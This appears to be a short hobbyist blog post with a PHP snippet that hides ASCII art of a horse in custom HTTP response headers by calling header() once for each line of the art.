I found out that you can override server headers live in-page with PHP's `header()` function. Combine this with some ascii art, and in the header of a server response you can now show people super hidden ascii art.

![](2018/10/image-15.png)

Here's the code to make it happen. Replace the `$subject` with new ascii art. 

    <?php
    $i = 0;
    $subject= "
    #    ,-''''-.
    #   (.  ,.   L        ___...__
    #   /7} ,-`  `'-==''``        ''._
    #  //{                           '`.
    #  \_,X ,                         : )
    #      7                          ;`
    #      :                  ,       /
    #       \_,                \     ;
    #         Y   L_    __..--':`.    L
    #         |  /| ````       ;  y  J
    #         [ j J            / / L ;
    #         | |Y \          /_J  | |
    #         L_J/_)         /_)   L_J
    #        /_)                   /_)";
    $header_name= "blackmagic-";
    foreach(preg_split("/((\r?\n)|(\r\n?))/", $subject) as $line){
    
        $pre = "";
        if($i<10)
            $pre = "00";
        elseif ($i<100)
            $pre = "0";
    
    
    
        header( "{$header_name}{$pre}{$i}: {$line}");
        $i++;
    
    }
    ?>
    
    


801 Labs Research Portal

how to

DLL injection - Developing a simple injector.

Exploiting a Stack Buffer Overflow (ret2libc method)

A 9-step recipe to crack a NTLMv2 Hash from a freshly acquired .pcap

Makefiles, but in English: Part 1

ASCII art in hidden places